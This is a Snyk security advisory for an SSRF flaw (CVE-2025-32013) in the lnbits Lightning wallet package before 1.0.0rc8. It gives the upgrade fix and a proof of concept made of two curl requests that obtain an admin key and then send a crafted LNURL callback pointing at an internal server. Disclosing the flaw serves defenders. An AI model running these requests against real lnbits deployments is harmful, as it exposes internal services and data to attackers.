Server-side Request Forgery (SSRF) Affecting lnbits package, versions [,1.0.0rc8)
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Start learning- Snyk IDSNYK-PYTHON-LNBITS-9720062
- published16 Apr 2025
- disclosed7 Apr 2025
- creditXBOW Security
Introduced: 7 Apr 2025
NewCVE-2025-32013 (opens in a new tab)How to fix?
Upgrade lnbits to version 1.0.0rc8 or higher.
Overview
lnbits is a LNbits, free and open-source Lightning wallet and accounts system.
Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) through the LNURL authentication callback process. An attacker can make the application send HTTP requests to arbitrary internal network locations, potentially exposing sensitive information or accessing internal services that should not be accessible from the internet by specifying a malicious callback URL.
Note:
This is only exploitable if the attacke ris authenticated, has the ability to create a wallet and can obtain an admin key.
PoC
- Create a new wallet account to get an admin key:
curl -X POST http://target:5000/api/v1/account -d '{"name":"test"}'
- Use the obtained admin key to send a crafted LNURL authentication request:
curl -X POST http://target:5000/api/v1/lnurlauth \
-H "X-Api-Key: <admin_key>" \
-H "Content-Type: application/json" \
-d '{
"callback": "http://target-internal-server/?tag=login&k1=9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08",
"k1": "9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08",
"sig": "0"*128,
"key": "0"*64
}'
The application will make an HTTP request to the internal URL specified in the callback parameter and return its contents in the response, allowing access to internal resources that should not be accessible.